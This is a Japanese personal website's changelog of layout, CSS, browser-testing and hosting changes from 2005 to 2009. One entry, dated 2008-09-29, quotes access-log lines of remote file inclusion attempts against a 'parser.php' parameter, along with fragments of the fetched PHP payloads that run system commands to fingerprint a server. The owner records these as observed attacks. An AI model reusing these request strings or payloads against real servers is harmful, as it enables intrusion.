www.hdever.com

www.hdever.com 上の変更

コンテンツおよびページの配置や所在の変更、
データのフォーマットの変更等

2009年8月24日

現在、テストに使用している Web ブラウザーは、 Safari 3.2.3 for OS X 10.4.11 on my PPC Mac (PowerMac3,6, Mirrored Drive Doors 2003, PowerPC G4 1.25 GHz), Safari 4.0.3 for OS X 10.5.8 on my Intel Mac (iMac9,1, 2009, Intel Core 2 Duo 2.66 GHz), Firefox 3.5.2, Opera 6.0.3 for OS 9, Opera 9.64 for OS X, iCab 3.0.5 for OS 9, iCab 4.6 for OS X, そして Internet Explorer 7 for Windows XP (Windows XP Home Edition SP3) on my Intel Mac です。これらのブラウザーでは、現在、各コンテンツはそれぞれのページ上で正常に表われておりますが、皆様のブラウザーでは如何でしょうか?もしもコンテンツの表われ方の不具合をご指摘頂けますならば、誠に幸いと存じます。

2009年5月7日

4月の末に20インチモデルの新しい iMac (iMac9,1、Intel Core 2 Duo 2.66 GHz) が届き、LeopardMac に齎した「ニュー・フィーチャー」の数々に目を瞠るばかりでおりましたが、其の中の一つ、Boot Camp を使って、この iMac 機上で、実際に、Windows を動かしてみることとしました。Windows XP (Windows XP Home Edition SP3) のインストールが無事完了しましたので、コンテンツが正常に表われるかどうかについてのテストに、Windows 用の Web ブラウザーである Internet Explorer 7 を使用することが可能となりました。

自分のためのノート --- 私の iMac 上で「Boot Camp (Windows XP)TechTool Pro 5 eDrive の共存」を確保することについて:
先ず、iMac の起動ディスク (startup disk) から既存の eDrive のパーティション (TechTool Pro 5.0.4) を削除し、起動ディスクをパーティション分割されていないシングルボリューム (a single volume)、すなわち単一なシングルディスクパーティション (a single disk partition) に戻した後、Mac OS X 10.5.6 Leopard に標準で付属してる Boot Camp (Mac OS X 上で表示されるバージョン情報に拠れば、 Boot Camp AssistantBoot Camp Assistant 2.0Windows 上で表示されるバージョン情報に拠れば、Boot CampBoot Camp 2.1) を用いて、Windows 用の 32 GB のパーティションを FAT32 で作成し、OEM 版の Windows XP Home Edition Service Pack 3 (SP3) をインストールしました。次に、TechTool Pro 5DVD から起動して、eDrive 用のパーティション(必要最小限の Leopard と フルバージョンの TechTool Pro 5 をインストールするための 12 GB のパーティション)を作成しました。そして、最後に、TechTool の開発発売元である Micromat のウェブサイト (URL: http://www.micromat.com/)Micromat Forum に掲載されている2008年11月23日の Kelvin 氏の「How to get working in 3min: BootCamp (XP) + eDrive」のインストラクションに従って、

掲載ページの URL: http://www.micromat.com/index.php?option=com_simpleboard&Itemid=42&func=view&id=8345&catid=6
PDF 版の URL: http://www.micromat.com/index.php?option=com_simpleboard&id=8345&catid=6&func=sb_pdf

Christoph Pfisterer 氏が開発なさり、the rEFIt Project として、公開発表なさっている「a boot menu and maintenance toolkit for EFI-based machines like the Intel Macs[Intel Mac のような EFI (Extensible Firmware Interface、拡張(可能な)ファームウェア・インターフェース) をベースとする機種のための起動メニューおよびメインテナンスツールキット] である rEFIt 0.13 (2009年5月7日の時点での現行リリースが 0.13) を、Mac OS X (メインとなる Mac OS X パーティション)上でインストールして、

Christoph Pfisterer 氏の rEFIt Project のウェブサイト URL: http://refit.sourceforge.net/

Mac OS X 側から Windows ドライブ --- 私の iMac では、「BOOTCAMP」という名でデスクトップに現われている Windows ドライブ --- 内の指定されたファイル () を開き、そこに記述されているコードの中の一行の partition 数値に変更(Kelvin 氏のインストラクションが明示する通りに。具体的には、そこに記述されている数値よりも1つ大きい数値を与えるという数値変更。例えば、当初の数値がもしも「3」であったならば、これを「4」にするという変更)を加えました。
上述の Kelvin 氏のポストは、「Boot Camp (XP) + TechTool Pro 4 eDrive」問題に対処するために、述べられたものです。
しかしながら、私の「Boot Camp (XP SP3) + TechTool Pro 5 eDrive」ケースにも当て嵌まり、Kelvin 氏のポストと Christoph Pfisterer 氏の rEFIt のお蔭で、私の iMac 上には Boot Camp (Windows XP)eDrive が共存し、何れのオペレーティングシステム --- Mac OS XWindows XP --- からでも、あるいは何れのボリューム --- 2つの Mac OS Extended (Journaled) ボリュームと1つの MS-DOS (FAT32) ボリューム --- からでも、問題なく、起動することが可能となりました。
ありがとうございます。
追記:rEFIt の起動メニューで Windows を選択すれば、私の iMac は、スムーズに、Windows のオペレーティングシステムから起動し始めます。しかし、私の iMac の場合には、この Windows 起動中に Windows 側から「Windows (既定)」と「Windows XP Home Edition」のどちらかを選択するように求める黒背景の DOS 画面が、表示されます。これが少々煩わしく思われるようになりましたので、DOS 画面が表示されぬように、コードの別の行に記述されている partition 数値にも変更を加えました。

2009年4月10日

データ転送速度の単位に関して:
音声資料ファイルについての情報が、例えば、「10 K bytes/sec」と「80 kbits/s」のように、2つの異なった単位を以て、表示されることとなります。
2005年と2006年に Mac OS X Jaguar 上の SoundHack 0.896QuickTime 6 を用いてカセットテープ(1996年にカセットテープに録音したセミナーとワークショップの音声)から作成した音声資料ファイルの「Data Rate」は、これまで通り、「byte」単位で表示されます。2009年の4月に Mac OS X Tiger 上の SoundHack 0.896QuickTime 7 を用いて作成し直した音声資料ファイルの「Data Rate」は、「bit」単位で表示されます。
1 byte = 8 bits
1 K byte/sec = 1 Kilo-byte/sec = 1秒当たり 1,000 bytes の転送
1 kbit/s = 1 Kilo-bit/sec = 1秒当たり 1,000 bits の転送

2009年3月14日

Firefox 3 for MacFirefox 3.0.7 へ、そして、Opera 9 for OS XOpera 9.64 へと、バージョンアップしました。

2009年3月10日

スタイルシートのポジショニングによる横並びの3コラムレイアウト -- 絶対位置「position: absolute」指定の最も左手(1番目)のコラムと絶対位置「position: absolute」指定の真ん中(2番目)のコラムと相対位置「position: relative」指定の最も右手(3番目)のコラム -- の間違いない表示の実現を願い、Rachel Andrew 氏と Kevin Yank 氏による共著『Everything You Know About CSS Is Wrong!』(Victoria: SitePoint Pty. Ltd., 2008)が授けてくれた「IE6 and 7's hasLayout」問題、あるいは「gaining a layout」問題に対する一つの具体的解決策(23〜25頁)に従って、横幅指定(the width declaration)の「width: 100%」を、最も右手(3つ目)に位置し且つプロパティと其の値「position: relative」を有するコラムの div 要素に加えました。
上述の共著に示された一つの解決策に従った結果は、Windows XP 機上の Internet Explorer 6.0 においてばかりではなく、Windows 2000 機上の Internet Explorer 5.5 においても、パーフェクトなものとなりました -- この結果は、 Johann C. Rocholl 氏が開発なさったオープンソースで無料のオンライン・サービスである Cross Platform Browser Test - Browsershots (URL: http://browsershots.org/) を通して作成されたスクリーンショット画像によって、以下のように、本日確認できたことに拠るものです。
ありがとうございます。

2009年2月19日

幾つかの日本語文章画像と漢文文章画像をルートディレクトリから「japanesetext」ディレクトリの中へ移動しました。
ニ例挙げれば:
1. 移動前の genkoshakusho700x455 JPEG 画像の URL
http://www.hdever.com/genkoshakusho700x455.jpg
でしたが、移動後は
http://www.hdever.com/japanesetext/genkoshakusho700x455.jpg となり、
2. 移動前の yuishinsho700x175 JPEG 画像の URL
http://www.hdever.com/yuishinsho700x175.jpg
でしたが、移動後は
http://www.hdever.com/japanesetext/yuishinsho700x175.jpg となりました。
英語ページ上の日本語および漢文の文章画像

2009年2月6日

Firefox 3 for MacFirefox 3.0.6 へ、iCab 4 for OS XiCab 4.2.5 へ、そして、Opera 9 for OS XOpera 9.63 へと、バージョンアップしました。

2009年1月18日

Build Your Own Web Site The Right Way book cover
最近 Ian Lloyd 氏の著書『Build Your Own Web Site The Right Way Using HTML & CSS』の第2版(Victoria: SitePoint Pty. Ltd., 2008)を読んで、スタイルシートについて学ぶ気になりました。親切で解り易い解説、しかも直ぐに活用できるコードもついて、これは、私のように、「正しいやり方」 (ウェブサイトを正しく構築するということ) になじみのなかった者にとっての絶好の入門書です。
これまで各ページごとに HTML 文書のヘッダ内(<head></head> の間)の style 要素(<style type="text/css"> ...... </style>)に記述していた「埋め込みスタイルシート Embedded Style Sheet」の内容を「外部スタイルシート External Style Sheet」として、2つの CSS ファイル(日本語ページ用の CSS と英語ページ用の CSS)を作成し、「外部スタイルシートを参照する(スタイルシートを外部参照する)」という形を以て、複数のページに適用することといたしました。
日本語ページ用の外部スタイルシートにおいては、主となるフォントと総称ファミリ名(the primary Font Family)を、此れ迄の 「font-family: "MS P明朝", "平成明朝", serif;」から「font-family:"Hiragino Mincho Pro","MS PMincho","MS Mincho",serif;」へと変更しました。
現在、「外部スタイルシート」が Web ブラウザー(既述の Mac 用ブラウザー)に正しく読み込まれ、スタイルが適切に反映されて表示されるかどうかのテストを始めたところです。
尚、トップページ(ホーム)とサイトマップのように其のページ独自のスタイルを有するページ、そして、図書室や休憩室のように其のコンテンツが www.hdever.com のテーマ(「節談説教」)から離れて独立した諸ページにつきましては、これまで通り、各ページの HTML 文書に記述した「埋め込みスタイルシート」を以て、それぞれのページのスタイルを定義し、設定し続けるつもりです。

2008年10月5日

トップページ(ホーム)の全体としての横幅を Width 889 pixel へと拡張しました。
3 + 280 + 30 + 280 + 30 + 266 = 889

2008年9月29日

変更についてではありません。自分のためのノートとして、書き留めます。
先週から、英語のお知らせページ「News」に対して、以下のようなアクセス試行が続けられており、脆弱性を探し、狙うハッカー達の攻撃ではないかと思われます。
数例を挙げれば:

"GET /bonenkaie.html//parse/parser.php?WN_BASEDIR=http://彼等のサイト名/id.txt??? HTTP/1.1" 404 12983 "-" "libwww-perl/5.79" "-"
"GET /bonenkaie.html//parse/parser.php?WN_BASEDIR=http://
彼等のサイト名//wp-content/uploads/id2.txt?? HTTP/1.1" 404 12983 "-" "libwww-perl/5.79" "-"
"GET /bonenkaie.html//parse/parser.php?WN_BASEDIR=http://
彼等のサイト名/zboard/DQ_LIBS/icon/safe1.txt??? HTTP/1.1" 404 12983 "-" "libwww-perl/5.805" "-"
"GET /bonenkaie.html//parse/parser.php?WN_BASEDIR=http://
彼等のサイト名/templates/rhuk_milkyway/glup.txt? HTTP/1.1" 404 12983 "-" "libwww-perl/5.79" "-"
"GET //parse/parser.php?WN_BASEDIR=http://
彼等のサイト名/l333tbi1t.txt???? HTTP/1.1" 404 12983 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" "-"

上記の例では、「http://彼等のサイト名/zboard/DQ_LIBS/icon/safe1.txt???」の内容を調べてみると、其のペイロード・コード(スクリプト)は:

〔前略〕
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user:$alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "NigeriaN HackerS TeaM<br>";

〔後略〕

http://彼等のサイト名/templates/rhuk_milkyway/glup.txt?」の内容を調べてみると、其のペイロード・コード(スクリプト)は、以下のニ箇所が異なるだけで、上記のものと同じです。

〔前略〕
echo "ALBANIA<br>";
〔中略〕
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>";
〔後略〕

http://彼等のサイト名/l333tbi1t.txt????」の内容を調べてみると、其のペイロード・コード(スクリプト)は:

〔前略〕
$id1 = system(id);
$un = @php_uname();
$os = @PHP_OS;
echo "3b1tchx3mailOK<br>";
echo "id: $id1<br>";
echo "os: $os<br>";
echo "uname -a: $un<br>";

〔後略〕

彼等は、ターゲットのウェブサイト、或いはターゲットのシステムについての情報を、収集しようとしているのでしょうか?

Thanks 小松先輩、誠にありがとうございました。まずは、安心いたしました。(2008年9月30日)

2008年9月9日

Firefox for Mac2.0.0.16 から Firefox 3.0.1 へと、バージョンアップしました。

2008年6月15日

テストに使用している Macintosh 用のブラウザーの中で、 Safari 3 for OS X 10.4.113.1 から Safari 3.1.1 へ、Firefox 2 for Mac2.0.0.13 から Firefox 2.0.0.14 へ、iCab 4 for OS X4.0.1 から iCab 4.1.1 へ、そして、Opera 9 for OS X は、9.25 から、メジャーアップデイトかと思われる、ウェブ標準のサポートに優れた新しいブラウザエンジンを搭載した Opera 9.50 へと、バージョンアップしました。
語と語の間にキャラクタ・エンティティを記すことによって ― the HTML character entity "em space" (&+#+8195+;) ― 私が余分にとろうとしている語間のスペースは、Opera 9 for OS X では、未だ反映されないようです。

2008年3月26日

Web browsers for Mac
現在、テストに使用している Macintosh 用のブラウザーは、 Safari 3.1 for OS X 10.4.11, Firefox 2.0.0.13, Opera 6.0.3 for OS 9, Opera 9.25 for OS X, iCab 3.0.5 for OS 9 and iCab 4.0.1 for OS X です。これらのブラウザーでは、現在、各コンテンツはそれぞれのページ上で正常に表われておりますが、皆様のブラウザーでは如何でしょうか?もしもコンテンツの表われ方の不具合をご指摘頂けますならば、誠に幸いと存じます。

2008年2月20日

私の使用している Mac(アップル マッキントッシュ コンピューター)のもう一台の OSX のバージョンも Jaguar OSX 10.2 から Tiger OSX 10.4 へとアップグレードしたので、これまで使ってきたウェブブラウザーの一つである Safari 1.0.3 for OS X 10.2.8 を、今後、コンテンツが正常に表われるかどうかについてのテストに使用することができなくなりました。

2008年1月15日

「とても小さな図書室」ページ上のテーブルのインライン・フレーム内の17の子ページの HTML ファイル名に、テーブル上の配置にしたがって、番号をつけました。
二例を挙げれば:
1. 変更前の子ページの URL
http://www.hdever.com/library/refwetrusttheholy.html
でしたが、変更後は
http://www.hdever.com/library/ref2wetrusttheholy.html となり、
2. 変更前の子ページの URL
http://www.hdever.com/library/refinsightsfall99.html
でしたが、変更後は
http://www.hdever.com/library/ref11insightsfall99.html となりました。
「とても小さな図書室」上のインライン・フレーム付きテーブル

2007年11月18日

日本国内旧国名の地図は鎌倉時代略年表と共に移動しました。
鎌倉時代の略年表と日本国内旧国名の地図を、「頻出する日本語の言葉と名前の用語集」を記載した英文ページから削除し、この「用語集」を補足する従属的英文ページとして新たに作成した「鎌倉時代の略年表」ページ上に、配置しました。
URL: http://www.hdever.com/achronologicaltable.html

2007年6月10日

折に触れて、「お知らせ」ページ上の私の個人的発言を、古い日付のものから順に、「過去のお知らせアーカイブ」ページ上へ移動することとします。

2007年2月22日

私の使用している Mac (アップル マッキントッシュ コンピューター)の内の一台の OSX のバージョンが Jaguar OSX 10.2 から Tiger OSX 10.4 へとアップグレードしたので、QuickTime 7 の新しいビデオコーデック(Video Codec)である H.264 を用いて QuickTime 動画を新たに作ることが可能となりましたが、私自身を含む 7 よりも前のバージョンを持つ QuickTime ユーザーの便宜の為に、節談説教映像資料の QuickTime 動画のビデオコーデックを H.263 から H.264 へは変更しません。

2007年1月18日

現在契約中のウェブホスティングのプロバイダーにコースの上位への変更を申し込みました。ドメイン名も各ページの URL も変わることなく同じですが、新しくサーバーが用意される形でのコース変更であった為、プロバイダーによる旧サーバーから新サーバーへの切り替え作業が開始された2007年1月18日15時頃から、私が新コースにおいて必要な設定と新サーバーへの全ファイルのアップロードおよびメールアカウントの作成を完了した1月20日の朝6時30分頃まで、不具合が生じ、「404 エラー」と 「Mail System エラー (Returned Mail)」 が続いていました。www.hdever.com の全ページとメールアカウントがインターネット上から消えていたからです。

2007年1月8日

ユーザーエージェントにリンク先のリソース(ウェブサイト、ウェブページのコンテンツ)の言語についての情報を与える為に、アンカー開始タグ内に「hreflang 属性」(the hreflang attribute) を、具体的に言えば、「hreflang="言語コード"」(例えば、 hreflang="en"hreflang="ja")の記述を付け加え始めました。

2006年10月18日

各ページの全体としての横幅を拡張しました。

2006年8月5日

AppleRealNetworksWindowsInternet Explorer の新しいバージョンに対応するために JavaScript を以てウェブページを書き換えることを勧めていますが、私には JavaScript についての充分な知識がないので、節談説教音声映像資料を含む各ページ上で現在用いている EMBED タグと OBJECT タグを JavaScript のコードに置き換えることができません。

2006年6月15日

MP3 形式の音声ファイルを節談説教音声資料に加えました。

2006年5月4日

連日の広告・宣伝と勧誘のメールで www.hdever.com の電子メールボックスがあふれるようになったので、www.hdever.com のメールアドレスを変更しました。

2006年4月9日

一つの上フレームと一つの下フレームを有し、トップページ(ホームページ)を分割していたフレームセット(HTML 4.01 Frameset)文書の使用を中止しました。
従って、此れまで上フレームの表示部分であったページ
http://www.hdever.com/menu.htm
と此れまで下フレームの表示部分であったページ
http://www.hdever.com/info6d.htm
は、結合し、HTML 4.01 Transitional 文書として、単一のトップページ(http://www.hdever.com/)となりました。

2006年2月8日

HTML において主要言語(the primary Language)と文字セットないし文字コード(Character Set)を特定すること (日本語ページには「lang="ja"」と「content="text/html; charset=EUC-JP"」、英語ページには「lang="en"」と「content="text/html; charset=iso-8859-1"」)、そして、スタイルシート(Style Sheet)において主となるフォントと総称ファミリ名(the primary Font Family)を指定すること (日本語ページには「font-family: "MS P明朝", "平成明朝", serif;」、英語ページには「font-family: Georgia, "Times New Roman", Times, serif;」) を始めました。

2005年12月31日

「休憩室 with ジャズ音楽」と「とても小さな図書室」というタイトルの二つの親ページ上のテーブルのインライン・フレーム内の合計30の子ページを、新たに作成したディレクトリの中へ移動しました。
それぞれから一例ずつ挙げれば:
1. 移動前のジャズ音楽の子ページの URL
http://www.hdever.com/jazz2.html
でしたが、移動後は
http://www.hdever.com/jazz/jazz2.html となり、
2. 移動前の図書室の子ページの URL
http://www.hdever.com/refwetrusttheholy.html
でしたが、移動後は
http://www.hdever.com/library/refwetrusttheholy.html となりました。
インライン・フレーム付きの2つのテーブル

2005年12月8日

本日購入した Web ページ・テンプレートで、トップページ(ホーム)を作り直し始めました。

2005年10月9日

QuickTime 動画の MOV ファイルを見ることが出来ないという non-Mac ユーザーの方々の為に、RealPlayer mediaRealMedia)動画の RM ファイルを作成し、節談説教映像資料に加えました。

2005年10月7日

節談説教音声資料の AIFF 音声ファイルのデジタルオーディオ圧縮形式を MACE 6:1Stereo, 44100 Hz)から QDesign Music 2Stereo, 44100 Hz)へ変更しました。また、節談説教映像資料の QuickTime MOV 動画ファイルの一部において、デジタルデータの変換を行うビデオコーデック(Video Codec)を H.263 から 3ivx D 4 4.5.1 へ変更しました。

2005年4月28日

スタイルシートに記入し指定した背景画像のプロパティ(CSS の指定項目)が、Mac 版のインターネット・エクスプローラ(Internet Explorer for Macintosh)で表示されません。
そこで、Web ブラウザの Mac 版で表示されるようにする為に、背景画像の指定の記述箇所
background-image:url("http://www.hdever.com/image_I_want_to_display.jpg") [記述の例]
から、リソース(ファイル)の所在を示すパス(Path)を囲んでいる引用符を取り除き、
background-image:url(http://www.hdever.com/image_I_want_to_display.jpg)
と、一重引用符も二重引用符も無しで、指定しました。

2005年4月27日

文書がどのバージョンの HTML で書かれたのかを、記述し、宣言しました (the Document Type Declaration)。


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